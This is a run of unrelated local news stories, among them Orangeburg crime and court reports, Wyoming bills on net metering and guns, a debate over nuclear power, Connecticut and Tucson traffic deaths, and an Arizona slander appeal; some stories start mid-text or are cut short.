Sometimes its hard for the kids to think about the rest of the country. I think sometimes they dont see beyond Murphysboro, she said, adding that the students are learning another lesson, too. Another big thing is actually receiving mail; they just dont get mail anymore, so thats something that is a bit off to them, too. Were talking about the states and were also talking about mail and how that works.

As each card is opened it is read aloud. Gardner said she has been surprised with the contents, explaining that many senders are including facts, notes or descriptions of their state in with the card. She said one sender is traveling, so she is sending cards from each state she visits. A third grade class in Kentucky even sent a card.

Were hanging the cards up in the classroom on a sort of clothesline, the teacher said. That way the kids can see them and help keep track.

Despite the excitement, she said she has to keep encouraging the students.

Sometimes we get kind of worried that we still have a lot of states to cover and the kids have asked, What if this is all we get? I told them well keep sharing the goal with people and well see what happens. I remind them that we didnt set a deadline, and weve never done anything like this before.
A Hoosier congressman seeking to represent Indiana in the U.S. Senate is expressing support for reducing abortion options in other states.

During an interview on Fort Wayne's WOWO-AM radio, U.S. Rep. Jim Banks, R-Columbia City, responded favorably Thursday to a suggestion by host Pat Miller that more needs to be done to restrict abortion in the wake of the U.S. Supreme Court's June 24, 2022, Dobbs decision repealing the right to abortion established in 1973 by Roe v. Wade.

"Our work as a pro-life movement is far from over," Miller said. "If a young lady can hop in a car in Fort Wayne and in an hour and a half she can be in a place in Michigan, or in just under three hours she can cross the line into Illinois, and achieve what she was (un)able to do with abortion clinics here in Indiana, the fight is far from over."

Banks responded: "That's exactly right. I'm for federal legislation, I'm for stronger laws at the state level, whatever we can do, to save lives, to protect babies. That's what this fight is all about."

The remarks by the four-term GOP congressman sparked outrage from abortion rights supporters after they were posted Monday on Twitter by Heartland Signal, the newsroom of Chicago radio station WCPT-AM.

Democratic Illinois Gov. J.B. Pritzker was among those appalled by Banks' suggestion the government should deny women the ability to travel outside their home state to obtain an abortion.

"The GOP's plan to criminalize the most fundamental decisions a woman can make doesn't stop with overturning Roe," Pritzker said. "The fight is far from over, and Illinois stands ready to protect all women."

Earlier in the WOWO interview, Banks left no doubt he intends to target continued access to abortion in Democratic-led "blue" states if Hoosiers elect him to the U.S. Senate in 2024.

"We have some very blue states that didn't do what Indiana did. Indiana was the first state in the country after the Dobbs decision to pass a pro-life bill. So there's much more that we must do, that we need to do, that I'm going to fight for in the House, and when I get to the Senate, I'm going to fight for there in a bigger way as well," Banks said.

Indiana's near-total abortion ban, enacted Aug. 5 by the Republican-controlled General Assembly and Republican Gov. Eric Holcomb, prohibits all abortions from the moment of conception, except within 10 weeks of fertilization for pregnancies caused by rape or incest, or 20 weeks if necessary to prevent serious physical impairment or the death of a pregnant woman, or because of a lethal fetal anomaly.

Enforcement of the statute currently is on hold while the Indiana Supreme Court evaluates the validity of a preliminary injunction issued Sept. 22 by Owen Superior Judge Kelsey Hanlon, a Republican, who concluded the law infringes on individual liberties protected by the Indiana Constitution.

Gallery: Take a virtual tour of Indiana's state parks Brown County State Park Chain O' Lakes State Park Charlestown State Park Clifty Falls State Park Falls of the Ohio State Park Fort Harrison State Park Harmonie State Park Lincoln State Park McCormick's Creek State Park Mounds State Park O'Bannon Woods State Park Ouabache State Park Pokagon State Park Potato Creek State Park Prophetstown State Park Shades State Park Shakamak State Park Spring Mill State Park Summit Lake State Park Tippecanoe River State Park Turkey Run State Park Versailles State Park White River State Park Whitewater Memorial State Park
Orangeburg County

Sheriffs Office

A Florida man is accused of trying to steal an 18-wheeler parked at a business on the edge of Holly Hill, according to an incident report.

Ramondouas Betrand, 41, of 405 Park Tree Terrace, Orlando, was taken into custody on Monday at Tree Brand Packaging, located at 825 Bunch Ford Road.

The property manager called deputies around 10:42 p.m. to report that someone was trespassing and trying to leave in a 2012 Cascadia Freightliner truck.

The suspect allegedly told deputies that he was being chased by four armed men.

He claims he hopped into the unlocked truck, which had its keys inside, and attempted to flee from those chasing him, the report states.

Betrand was charged with grand larceny and trespassing.

Orangeburg County Magistrate Valerie Lawrence set Betrands bond at $2,465 cash or surety.

As of Tuesday afternoon, hed not yet posted bond.

The truck is valued at $50,000.

In other reports:

 A Norway man is accused of breaking into a womans home during the early morning hours.

Randall Bowen, 30, of 147 Bayonne Road, Norway is charged with first-degree burglary. He was taken into custody on Monday.

Bowens charge stems from a July 31, 2022 incident at a Cope Road home in Cope.

Bowen allegedly entered the womans home around 1 a.m. The woman left her bedroom to call law enforcement.

When she returned to her room, she noticed that the burglar wasnt there and neither was her television.

On Tuesday afternoon, Lawrence set Bowens bond at $10,000 and released him on his personal recognizance.

If convicted, Bowen faces up to life in prison.

 A four-wheeler was stolen from a Gospel Hill Court home in Orangeburg. The theft was reported on Monday.

The four-wheeler is a 2022 blue Yamaha Raptor 700r. It is valued at $8,500.

The owner noted it was locked on his back porch. Surveillance cameras captured some of the incident.
A 46-year-old man is in prison for an attack on a woman and her children in Orangeburg.

Alfred Freddie Murray, of 203 W. Frederick Street #2, Barstow, California, pleaded guilty recently to domestic violence of a high and aggravated nature, assault and battery of a high and aggravated nature, possession of a firearm during the commission of a violent felony and two counts of unlawful conduct toward a child.

Circuit Judge Heath P. Taylor sentenced him to 20 years in prison. After he serves six years, the remainder of his term can be suspended to four years of probation.

Taylor gave Murray credit for having already served 227 days at the Orangeburg County Detention Center.

Murrays charges stem from an April 3, 2022 incident.

The Orangeburg Department of Public Safety accused Murray of beating a woman and threatening her and her children with a knife.

Warrants also claimed Murray punched the womans 18-year-old daughter repeatedly.

The 18-year-old managed to flee the residence with her brothers  ages 13 and 9  through a bedroom window and call for help, according to an incident report.

Murray was on probation for second-degree domestic violence stemming from a Lexington County incident when he was arrested on the Orangeburg charges.

In other recent guilty pleas at the Orangeburg County Courthouse:

 Antonio Fludd, 43, of 111 Utaff Lane, Orangeburg, pleaded guilty to first-offense domestic violence.

Taylor sentenced him to five years in prison, provided that after he serves 132 days, the remainder of his sentence would be suspended to three years of probation.

He gave Fludd credit for having already served 132 days in jail.

 Antetshia Renee Graham, 30, of 3625 Faulling Springs Road, Unit D, Charleston, pleaded guilty to strong-arm robbery.

Taylor sentenced her to five years, provided that after she served 45 days, the remainder of her sentence would be suspended to two years of probation.

He gave Graham credit for having already served 45 days in jail.

 Xavier Rashad Hayward, 32, of 2638 Kennerly Road, Orangeburg, pleaded guilty to domestic violence of a high and aggravated nature.

Taylor sentenced him to prison for three years, provided that after he served one day, the remainder of his term would be suspended to two years of probation.

Taylor ordered him to complete substance abuse counseling. He must coordinate visits with his children through a third party, not through the victim.

 David Hill, 32, of 677 Anderson Street, Orangeburg, pleaded guilty to second-degree domestic violence.

Taylor sentenced him to 90 days in jail and gave him credit for having already served 24 days there.

Prosecutors dismissed the following charges: shoplifting valued $2,000 or less, open container of beer or wine in a motor vehicle and giving false information to law enforcement.

 Jewel Nichole Hill, 39, of 421 Dulton Street, Orangeburg, pleaded guilty to shoplifting valued at $2,000 or less with enhancement.

Taylor sentenced her to 146 days in jail and gave her credit for having already served that time there.

 Pauline McAllister, 68, of 765 Carroll Street, Elloree, pleaded guilty to forgery valued less than $10,000.

Taylor sentenced her to three years in prison, provided that after she served one day, the remainder of the term would be suspended to three years of probation.

He gave her credit for having already served one day in jail.

He also ordered McAllisters S.C. Probation, Parole and Pardon Services supervision to be waived.
Orangeburg County Sheriffs Office Chief Deputy Kenneth Kenny Kinsey may be called to testify in the trial of disbarred Hampton County attorney Richard Alexander Alex Murdaugh.

Murdaughs trial got underway on Monday with jury selection at the Colleton County Courthouse in Walterboro.

Hes charged with two counts of murder in the June 7, 2021 shooting deaths of his wife, Maggie, 52, and son Paul, 22.

The shooting took place at the Colleton County recreational estate they owned known as Moselle.

Kinsey, a 30-year law enforcement veteran, became involved in the case at the request of Chief Attorney S. Creighton Waters of the S.C. Attorney Generals Office, according to Kinseys courthouse-filed affidavit made available online by FitsNews.

Kinsey said the attorney generals office asked him to review and answer 12 investigative questions that were also asked and answered in a report compiled by bloodstain pattern analyst Tom Bevel. Bevel is a retired Oklahoma City police officer who now has a private forensic consulting company.

A few months ago, Bevel provided a report discussing bloodstain patterns on a shirt allegedly worn by Alex Murdaugh when he discovered the bodies of his wife and son.

Murdaughs attorneys  Jim Griffin and Dick Harpootlian  have filed motions asking the court not to allow Bevel or Kinsey to testify during the trial.

Kinsey has been qualified as an expert witness in crime scene investigations/reconstructions and bloodstain pattern analysis, among other specialty areas.
Three residential parcels of land near the Orangeburg Mall have been officially rezoned.

Orangeburg City Council voted 4-3 on third reading to rezone the parcels on St. Matthews Road from single-family residential to office-institutional.

The three properties make up 1.47 acres total between Stuart Street and CPM Federal Credit Union, according to the Orangeburg County GIS mapping.

Voting for the rezoning were Orangeburg Mayor Michael Butler, Councilwoman Liz Zimmerman Keitt, Councilman Richard Stroman and Councilman Dr. Kalu Kalu.

Voting against were Councilman Jerry Hannah, Councilwoman Sandra Knotts and Councilman Bernard Haire.

Prior to the vote, Haire said, I cannot vote in good conscience for this particular item for we are reducing citizens in this area of St. Matthews Road and in the City of Orangeburg for business.

As you know, we have plans to make Russell Street the gateway to this city wherein were going to have improvements to build businesses that exist on the Russell Street corridor and there are plenty or ample places wherein businesses can locate, Haire said. We are just defeating the purpose as we go talk about changing the classification or the zoning of these three parcels.

The property at 1070 St. Matthews Road is owned by Harry Ken Floyd Jr; the property at 1080 St. Matthews Road is owned by Glenda Zeigler Shuler and the property at 1090 St. Matthews Road is owned by Phyllis Pelzer.

In other business:

 Council gave unanimous third and final reading to a change in the zoning law in an effort to bring more people and foot traffic to Orangeburg's downtown central business district.

The change will provide more opportunities for commercial and mixed-use development downtown.

For example, the ordinance change would allow brew pubs or restaurants with a brewery type of setting.

The change would also allow loft or overhead apartments to be built within buildings in the business district.

Haire asked if the change would include all of Russell Street and Assistant City Administrator John Singh said it would only include parts of the street identified as the central business district. Singh expects a recommendation in the future that all of Russell Street be included.

 Council unanimously gave first reading to annexing two South Carolina State University properties located at 100 University Village Drive and 400 University Drive.

The apartments serve as off-campus housing for S.C. State students. The properties cover a total of 5.87 acres.

South Carolina State University Housing, LLC, which owns the property, has petitioned the city to annex the parcels. The annexation was recommended to council by the citys Planning Commission.

SCSU Housing requested the annexation to enhance police protection at the property.

Prior to the vote, Haire cleared up some information that indicated annexing the two properties would cost the city about $300,000 to hire more police officers.

At present, the city provides assistance to the South Carolina State University forces if needed and not only the city, but also the sheriff's department if there is a need for it, Haire said. 

There would be no difference in what exists now as it relates to these properties. We are now doing those things that we will still be doing under the annexation.

Stroman abstained from voting.

 The City of Orangeburg has a staffing shortage in its finance department.

The department has a chief financial officer, an accountant and a finance clerk, but the city has budgeted for six positions in the department.

All of the staff here a year ago have turned over, Chief Financial Officer Tony Bowling told City Council last week.

Bowling, who arrived in Orangeburg in November from New Mexico, said he does not know why there has been a turnover of staff.

Bowling said the city is actively recruiting to fill the other positions.

We do look forward to getting staff back up so that we can really dig in and take off running, Bowling said.

City Administrator Sidney Evering echoed Bowling, noting the city is aggressively recruiting.

Even though we are not fully staffed, the finances of the city are certainly being attended to, Evering said, explaining the city is working with a financial consultant to fill in the staffing shortages in the interim.

Evering said the loss of staff can be attributed to natural attrition.

In related matters, Bowling said the city's total general fund revenues through Dec. 31, 2022 were $3.1 million, which is about 14% of the city's total budgeted revenues for this time of year.

Property taxes will start coming in during the months of January and February.

Bowling said the city's expenses are at about $6 million, which is about 27% of its total expenses for the budget year.

He said in both revenues and expenses, the city is in line where it has been in previous budget years.
A Massachusetts man was killed in a crash with a tractor-trailer on Interstate 84 in Tolland on Monday afternoon, according to the Connecticut State Police.

A Mercedes-Benz was traveling in front of a tractor-trailer on I-84 East just before Exit 69 in Tolland just after 1:15 p.m. on Monday when the Mercedes-Benz driver, identified as Stephen Gharabegian, 59 of Lexington, Massachusetts, lost control of his vehicle, state police said. The tractor-trailer struck the Mercedes-Benz on the drivers side and the Mercedes-Benz became stuck under the trailer portion of the truck.

The Mercedes-Benz driver was transported to Hartford Hospital with life-threatening injuries, where he was later pronounced dead, state police said. The tractor-trailer driver, a 50-year-old Virginia man, was not injured in the crash, according to state police.

The crash is under investigation. Any witnesses or people with a vehicle equipped with a dash camera that was in the area of the collision are asked to contact Trooper Daniel Hill at 860-896-3200 ext. 8006 or by e-mail at Daniel.Hill@ct.gov.
(TBTCO) - Sau mot nam chay ua theo con uong hau nhu khong bi can tro e at uoc muc lai suat cao hon, FED ang phai oi mat voi o ga lon au tien khi cac quyet inh uoc ua ra trong hang tram cac quyet inh ieu hanh tien te se cong lai - hoac khong - dan en su hon loan trong hoat ong cua ngan hang ang inh vi lai nen kinh te.
Its been 22 years since the Wyoming Legislature enacted the statewide program that credits households with solar panels for the electricity they produce. One lawmaker is trying again to restructure it.

Senate File 92 would eliminate net metering  a mechanism in place in the majority of states that runs an electricity users meter backward when theyre supplying surplus power to the grid  from Wyoming statute and redefine rooftop solar users as small customer-generators.

It would also give state regulators the authority to lower the price of solar power sold back to the grid. And it would strike the provision that currently bars utilities from adding extra charges to solar users electric bills.

The changes would take effect on July 1, 2024 for new customers and by 2039 for existing ones.

If were going to have small-customer-generated electricity be sustainable over the long haul  I mean truly sustainable, good for the system, good for the customers  then we have to make these changes, said the bills sole sponsor, Sen. Cale Case, R-Lander.

While Case says the change would make the system more equitable, some environmental groups argue it would instead tip the scales against households with rooftop solar.

Renewed controversy

Case, who has a Ph.D. in resource economics and public utility economics, isnt the measures only backer this year. There are lawmakers, he said, who will help carry it forward. But he didnt put their names on the bill because he didnt want to subject them to the vitriol hes received as its sponsor, including accusations that hes in bed with Wyomings coal companies and utilities.

I think Im pretty green compared to my colleagues, Case said. Im not trying to bring back coal, or, you know, kill rooftop solar, or kill renewables. I do think renewables have to kind of pay their way.

A longtime member and current chairman of the Senate Corporations Committee, Case pushed for a similar, committee-backed bill that passed the Senate, but failed in the House of Representatives, in 2021. The committee is expected to consider Senate File 92 on Thursday.

Many environmental groups opposed changing net metering in 2021 and have taken the same position this year, fearing it will deal a premature blow to rooftop solar before it  or any type of solar  can gain a real foothold in Wyoming. As of 2021, the state produced 73% of its electricity from coal, 19% from wind and most of the rest from natural gas and hydropower, according to federal data.

Rooftop solar helps local communities, helps local jobs, said Claire Deuter, renewable organizer for the Powder River Basin Resource Council. Its low-impact on the environment. And it would be a shame for net metering to be repealed.

A crisis  elsewhere

Utilities across the country face a hard-to-solve problem: After decades spent wielding the dependable stream of electricity supplied by large, centralized power plants, theyre not very good at accommodating the fluctuating output of renewable resources.

In the states where ratepayers most enthusiastically adopted rooftop solar, including Hawaii and California, the electricity that poured into the grid on sunny days and vanished when the sun went down threatened to overwhelm the system  and proved unfairly expensive for ratepayers who didnt have solar panels to offset their costs.

Hawaii ended net metering in 2015. California followed in its footsteps last month. But both states also introduced new incentives  Hawaii years later, California immediately  designed to prevent the rate cut from devastating the rooftop solar industry (and encourage solar adopters to also install battery storage, an increasingly practical addition that makes abundant solar much easier for utilities to manage).

When to act

Wyoming hasnt encountered the same problems yet. Less than 1% of Wyoming households have installed solar panels, and they only supply half a percent of the states total electricity, according to data compiled by Scott Kane, co-owner of installer Creative Energies Solar.

The Solar Energy Industries Association ranks Wyoming 47th among U.S. states in projected utility and residential solar energy growth. And an analysis completed last summer by third-party consultant Crossborder Energy found that rooftop solar in the state still has room to multiply several times before it starts to become a burden for other ratepayers.

The Powder River Basin Resource Council is worried that if Wyoming curtails the perks enjoyed by solar users, solar uptake will collapse, as it has in states that adopted similar approaches without also introducing strong enough incentives.

We just dont see a current issue that needs to be addressed with our net metering policy, Deuter said. And if its not broken, dont fix it.

Theres plenty of time, she said, to amend net metering when  or if  it stops working as intended. By then, its likely that states already in that position will have paved the way for Wyoming.

But Case doesnt want to see Wyoming lawmakers sit on their hands until that moment arrives. He considers the bill a proactive, not prohibitive, way to manage rooftop solar.

Its growing fast, he said. And its not going to get any easier to change.
Wyoming leaders are jazzed about nuclear. The hope, for many, is that the advanced reactor set to be built in Kemmerer next decade will mark the emergence of a lucrative new industry. Particularly beyond the state, however, experts are continuing to debate the technologys potential  and its value  in the electricity sector.

During separate webinars on Thursday and Monday, advocates and skeptics of nuclear energy outlined conflicting visions of its future in the low-carbon economy the U.S. is building toward.

Scott Kopple, senior director of government relations at nuclear supplier BWX Technologies, summed up one side during an event hosted by the Nuclear Innovation Alliance. Advanced reactors, he said, are critically needed if were serious about tackling climate change.

Nuclear plants run almost 24/7. Some new designs, including the one headed to Kemmerer, can raise and lower electricity output very quickly to meet the fluctuating needs of the grid. The fuel they require can be mined and refined domestically, at least in theory. And as coal and other baseload sources drop off the grid, the argument goes, nuclear is one of the only alternatives available to replace them.

The pro-nuclear think tank held the webinar to introduce a report aimed at helping the U.S. Department of Energy commercialize advanced nuclear  and end the countrys dependence on fossil-fueled power  as quickly as possible.

Kathryn Huff, head of the agencys Office of Nuclear Energy, spoke positively during the event about current and future efforts to accelerate the uptake of advanced nuclear.

In Wyoming, the shift away from coal is anything but popular. But with the coal market withering, the increasingly cash-strapped state is trying to position itself at the forefront of the overhauled nuclear industry.

Not everyone thinks next-generation nuclear plants should  or even can  be the answer, though. A virtual panel convened by the Institute for Energy Economics and Financial Analysis, a clean energy think tank, offered plenty of reasons why the technology has proven polarizing in Wyoming and across the country.

It has a proven history of over-promising and under-delivering, said Naomi Oreskes, a science historian at Harvard University. In the U.S., nuclear plants have almost invariably gone over their budgets and their deadlines, sometimes by billions of dollars and many years.

Nuclear power has never delivered on its promises, Oreskes said. It hasnt been the miracle technology that its advocates envisioned back in the 1950s, and it remains one of our most expensive sources of electricity.

Oreskes and the other panelists, a resource planning analyst at the think tank and a civil engineering professor at Stanford University, see little reason to believe that nuclears resurgence will be any different.

They pointed to early signs of cost overruns and delays at the first advanced reactors, which arent expected to start operating until at least 2030  too late, they argued, to offer a realistic climate solution, when batteries powerful enough to balance out renewables are on the precipice of viability.

David Hart, a public policy professor at George Mason University, took a more middle-of-the-road approach at the Nuclear Innovation Alliance event.

Its a promising technology and unique in many respects, and so its got to be in the portfolio, he said. But I think the community needs to be very self-aware that its success is far from guaranteed.

It continues to face environmental, technical and geopolitical challenges, along with real competition from alternative generation sources, he said. I think nuclear still has a lot to prove.

PHOTOS: Visits to Kemmerer Kemmerer Kemmerer Kemmerer Kemmerer Fossils Kemmerer Fossils Kemmerer Fossils Kemmerer Kemmerer Kemmerer Kemmerer Kemmerer Kemmerer Fossils Kemmerer Fossils Kemmerer Fossils Kemmerer Kemmerer Kemmerer Kemmerer Kemmerer Fossils Kemmerer Fossils Kemmerer Fossils Kemmerer
After nearly three years, Natrona County School District is still feeling the effects of the coronavirus pandemic.

But while the aftershocks of the pandemic continued to impact learning, the districts schools and students also found success last year, according to the NCSDs annual review revealed before the board of trustees Monday evening.

For the second year in a row, the districts middle schools met English and language arts reading targets, while ninth and 10th graders outpaced the rest of the state in English and language arts testing scores.

We actually had increases from last year in both sixth and seventh grades, so were continuing to not only meet that goal but start to really look towards that exceeding [benchmark], Charlotte Gilbar, NCSDs executive director of school improvement, told board members.

Kelly Walsh High Schools graduation rates have continued to climb, reaching the districts goal with 87.4% of students graduating on time in the 2020-2021 class.

The districts three traditional high schools  Kelly Walsh, Midwest and Natrona County  have collectively seen their graduation tick upward, even as credit requirements have increased, reaching a seven-year high of 80.3% in 2020-2021.

It wasnt too long ago where we were fighting to get 70% of our students across the stage for graduation, said Walt Wilcox, NCSDs associate superintendent for curriculum and instruction.

All told, roughly 44% of NCSD schools recorded an increase in their performance from 2019 to 2022, according to the report. And the number of schools exceeding state performance targets has more than doubled since 2018.

This year marks the first year since the start of the coronavirus pandemic that the state has issued a performance rating for Wyomings K-12 schools.

We are seeing in that continuous improvement process that we are moving that needle, even though its incremental, Gilbar said.

NCSD compiles its annual year-in-review report to inform the board of trustees and community about the achievement of the districts schools and the progress the district is making toward the goals outlined in its strategic plan.

The district updates its strategic plan every five years and is in the fourth year of its 2019-2024 plan.

While NCSD schools found success and made headway last year, Gilbar and Wilcox pointed to areas of needed improvement as the district has yet to meet a number of its goals.

In its most recent strategic plan, the district set an objective for all of its schools to either meet or exceed state performance targets by 2024.

But only about a quarter of the districts schools are meeting that goal and approximately 41% of NCSD schools have seen a decrease in their performances since 2019, according to the year-end report.

While slight, graduation rates at Natrona County High School have trended down for the third year in a row, reaching their lowest point in the last seven years.

And the districts third, fourth and fifth graders trail the state in English and language arts proficiency by at least four percentage points, lagging behind NCSDs strategic plan goal to meet or exceed literacy targets.

We did not quite meet me that [literacy benchmark] in grade three and four, so we know we have some work in grades three and four in our English and language arts, Gilbar said.

Gilbar told the committee that the district is taking a number of steps to improve its English learning, particularly among its younger students.

Roughly a third of NCSDs primary school teachers are taking extracurricular literacy training offered as a part of an initiative by the Wyoming Department of Education, Gilbar said.

Each school has its own precautions to ensure that students dont fall through the cracks, while the district has also established a group to study and better focus its literacy efforts.

At the school level, theyre identifying those students who are still struggling and giving them interventions during the school day, Gilbar said. Every single one of our elementary schools has an [English and language arts] intervention.

With students in later grades already meeting NCSDs goals and state targets, successful efforts to boost third and fourth grade reading and writing could help the district push for higher achievement benchmarks, Gilbar told the committee.

We are making gains by the time they get to fifth grade. So if we can start those test scores stronger at the third grade just imagine what we should be able to see, Gilbar said.

In explaining some of the weaknesses identified in the report, NCSD Superintendent Mike Jennings singled out the pandemic as a significant disruptor.

Jennings said quarantine and isolation requirements, as well school closures, impacted student learning.

In addition to that, we had a large number of students that went to virtual learning, Jennings said. That number has settled back down almost to pre-pandemic numbers, but we had close to 950 students that went virtual and weve learned that its really hard on kids to get the same quality of education virtually.

Though the districts annual report showed areas in need of reinforcement to meet its goals, board member Michael Stedillie highlighted the reviews finding that high school graduation rates have largely increased even as requirements have intensified.

The kids have to do more work and theyre finding more success. And I think that is a great reason to celebrate, Stedillie said.
A series of bills could eliminate gun-free zones in government buildings and meetings for those with concealed carry permits and introduce an enhanced permit that would allow firearms in the Wyoming Capitol.

One of the three bills introduced at this years legislative session seeks to repeal gun-free zones in government and legislative meetings; it would make it so that any person lawfully carrying a concealed weapon in Wyoming may bring that weapon into any government, legislative or committee meeting.

The bills primary sponsor, Rep. Sen. Anthony Bouchard, is the former director of the hard-line gun rights group Wyoming Gun Owners and was the subject of a highly publicized run-in with students at the University of Wyoming in spring 2017 over their gun reform presentation.

Another bill introduced over the weekend would create an enhanced carry permit, which could be issued by the attorney general in certain cases.

In addition to the pre-existing requirements for a concealed carry permit, an applicant would be eligible for an enhanced permit if they can provide evidence that they were employed as a peace officer in Wyoming within the past year or completed firearms safety training.

These courses provide basic training in the safe use of a firearm and are conducted by an instructor certified by the National Rifle Association or the Wyoming law enforcement academy.

No one under 21 years old would be eligible for this enhanced permit. Applications would be available and distributed by the Wyoming Division of Criminal Investigation and local law enforcement.

If the bill is made into law, it would open the door for another bill that would allow concealed firearms on the grounds of the State Capitol for those who acquire the new enhanced permit. Both bills are sponsored by Sen. Dave Kinskey, R-Sheridan.

Those with an enhanced permit would be required to notify the Wyoming Highway Patrol that they intend to have a concealed firearm in the State Capitol building no less than 24 hours beforehand.

Then, that person would be able to enter any area open to the public with their concealed weapon.

The Wyoming Highway Patrol, which provides security at the Capitol, did not respond by deadline to a request for comment about what implications, if any, this bill would have on safety at the Capitol building.

In the United States, at least 21 state capitols allow some form of legal firearm carry for either visitors, legislators, employees or all of the above, the Crime Prevention Research Center said. The center does academic research on the relationship between laws regulating the ownership or use of guns.

PHOTOS: Opening day of the 67th Wyoming Legislative Session 67th Wyoming Legislative Session begins 67th Wyoming Legislative Session begins 67th Wyoming Legislative Session begins Rep. Jeanette Ward 67th Wyoming Legislative Session begins 67th Wyoming Legislative Session begins 67th Wyoming Legislative Session begins 67th Wyoming Legislative Session begins 67th Wyoming Legislative Session begins 67th Wyoming Legislative Session begins 67th Wyoming Legislative Session begins 67th Wyoming Legislative Session begins 67th Wyoming Legislative Session begins
Prime Minister Dr Keith Rowley will today turn the sod for the construction of the 112 mega watt (MWac) solar project.

The sod-turning comes almost three years after the consortium of bpTT and Shell were selected as the preferred bidder on the project which has caused an escalation in cost to taxpayers.
Your childs education should be a family priority, according to Kimarie Richardson-Thomas, who has taught for 23 years in the public school system.

Richardson-Thomas is the Academic Dean at Goodwood Secondary School, and teaches English Language, English Literature, and CAPE Communication Studies.
A Hartford man was sentenced to over two years in prison on fentanyl distribution and weapons possession charges on Monday, according to the U.S. Attorneys office.

Robert Allen, 33, of Hartford was sentenced to 30 months in prison followed by three years of supervised release in Bridgeport on Monday after he pleaded guilty to one count of possessing with intent to distribute fentanyl and one count of possession of a firearm by a convicted felon on July 8, 2020.

On Nov. 23, 2019, Hartford police conducted a traffic story of a vehicle Allen was driving on Woodland Street. Officers found a loaded Ruger LCP .380 caliber handgun and around 48 wax paper sleeves containing a mixture of heroin and fentanyl, according to court records. The firearm was reported stolen out of Louisiana, court records said.

Allen has previously been convicted of state assault, firearm, drug, larceny and witness tampering offenses, the U.S. Attorneys office said. It is against federal law for a previously convicted individual to possess a firearm that has crossed state or national borders.

Allen, who was out on bond pending sentencing, has been detained since Aug. 31, 2022, when he was arrested on state narcotics and firearm offenses, the U.S. Attorneys office said. The state charges are pending.
A 69-year-old woman, who had withdrawn $17,000 at a bank in Valsayn, was robbed of her money
Savages! That is the only way to describe the people who attack helpless citizens in Trinidad and Tobago.

While the Government and Opposition members continue to kif-kif in Parliament, citizens are at the mercy of merciless thugs.

Not everything makes the news, including the incident where two elderly sisters in Woodbrook, one with a heart condition, were tied up and beaten in their home.
PHOENIX  Three current and former GOP lawmakers are hoping to avoid paying the legal fees of a Democrat whom a judge said was unfairly sued by them for asking the FBI and Justice to investigate their actions around the Jan. 6 riot.

The trio is asking the Court of Appeals to reinstate their slander suit against the Democrat, Charlene Fernandez, a former state lawmaker. That was tossed out last year by Yuma County Superior Court Judge Levi Gunderson who said Fernandez had an absolute First Amendment right to do what she did.

Their attorney contends Gunderson was wrong in requiring the Republicans, Mark Finchem, Anthony Kern and Paul Gosar, to shell out $75,000 that Fernandez, then a state representative from Yuma, had to pay to her attorneys to convince the judge that the lawsuit lacked merit and was brought for an improper purpose, having been filed against a political opponent primarily for the purposes of harassment.

The trios attorney, Kelley Jancaitis, said Finchem, Kern and Gosar had a legal basis to believe Fernandez knew there was no factual basis for the federal investigation of their Jan. 6 activities. She said that entitled them to sue Fernandez for slander.

Allowing the sanctions imposed by the judge to stand will stifle creative advocacy that protects rights, Jancaitis contends.

She also has another legal theory.

Jancaitis said Fernandez and other Democrats who signed the letter to the federal agencies said that Finchem, Kern and Gosar were involved in an anti-democratic insurrection to keep the 2020 presidential election results from being certified, which would be an act of treason. The same charges were repeated in a press release.

It was a basic riot, Jancaitis told the appellate judges, insisting there is a difference. She said a riot, as opposed to an insurrection, would not have served to overturn the election.

At issue is a Jan. 12, 2021 letter signed by Fernandez and 41 other Democratic state lawmakers to the federal agencies asking that they investigate the trio, all of whom were in Washington, D.C. for the Jan. 6 event.

The letter said Finchem and Kern, both state lawmakers at the time, went to Washington to actively encourage the mob, both before and during the attack on the Capitol. It claimed the pair sought to conceal the consequences of their conduct by falsely blaming Antifa. 

It also raised issues about Gosar and his fellow Arizona Republican U.S. Rep. Andy Biggs.

That was based on a claim by Ali Alexander, who organized the Stop the Steal movement, that he worked with them and Alabama U.S. Rep. Mo Brook on the plan for the Jan. 6 demonstration that coincided with the counting of the electoral votes by Congress.

There was no evidence that Finchem nor Kern were involved in trespassing at the Capitol. And Gosar was inside the Capitol during the Jan. 6 session.

The trio sued only Fernandez, who has since resigned to take a post in the Biden administration, claiming she had a particular animus against them.

Gunderson ruled Fernandez had an absolute First Amendment right to send a letter to federal law enforcement officials asking them to investigate the activities of the trio in connection with the events around the Jan. 6 riot and breach of the U.S. Capitol.

The judge acknowledged that the right of free speech is not an absolute defense against charges of defamation, particularly when it involves private matters.

But when speech involves a matter of public concern, the balance changes significantly, he wrote. The storming of the U.S. Capitol on Jan. 6, 2021 is a matter of great public concern.

Gunderson subsequently concluded the Finchem, Kern and Gosar lawsuit was brought for an improper purpose, having been filed against a political opponent primarily for the purposes of harassment. In fact, the judge said, the initial legal papers the trio filed were less about legal grievances and more of a political screed.

It very much appears that a significant portion of the contents of the original complaint and the first amended complaint were written for an audience other than the assigned trial judge, he wrote.

In the new filing, Finchem, Kern and Gosar called the judges ruling and sanctions an abuse of discretion.

They point out that Gunderson threw out the case before it ever went to trial, meaning there was no evidence or testimony about the intent of the parties, whether it was from Fernandez in publishing the statement or in their own decision to file the lawsuit. And they contend that these were essentially equal but opposite claims of misconduct.

Just as the court must apply the First Amendment to ensure open debate, so too must the court avoid imposing sanctions that will stifle creative advocacy seeking to protect it and remedy its abuses, they told the appellate judges.
A 16-year-old girl driving a Toyota Corolla on Tucson's east side was killed Monday morning when she swerved into oncoming traffic, Tucson police say.

The unidentified teen was driving east on East Mary Ann Cleveland Way near South Atterbury Way about 7:30 a.m. when she suddenly swerved into the westbound lane and struck a Toyota Tundra pickup truck, police said in a news release Tuesday.

The teen was pronounced dead at the scene. The pickup driver, a man in his 30s, suffered minor injuries, police said.

Neither speed nor impairment were factors in the crash, police say.

Tucson police did not identify the teen driver. "Out of respect for her immediate family, and the fact that both involved parties were from the same community, her identity is being withheld," police said in the news release.
A 50-year-old Terryville man was killed in a one-car rollover crash on Route 8 in Watertown on Monday, according to the Connecticut State Police.

A Jeep Wrangler was traveling southbound on Route 8 South of the Exit 38 on-ramp just before 1 p.m. on Monday when it veered off the right side of the roadway and crashed into the rock ledge embankment, state police said. The Jeep rolled onto its left side before coming to a final rest.

The driver, identified as John Wujcik, 50, of Terryville, sustained serious injuries and was treated on the scene. He was transported to Waterbury Hospital where he was later pronounced dead, according to state police.

The Jeep sustained severe damage and was towed from the scene for further investigation, state police said.

The Connecticut State Police C.A.R.S. Unit also responded to the scene to assist.

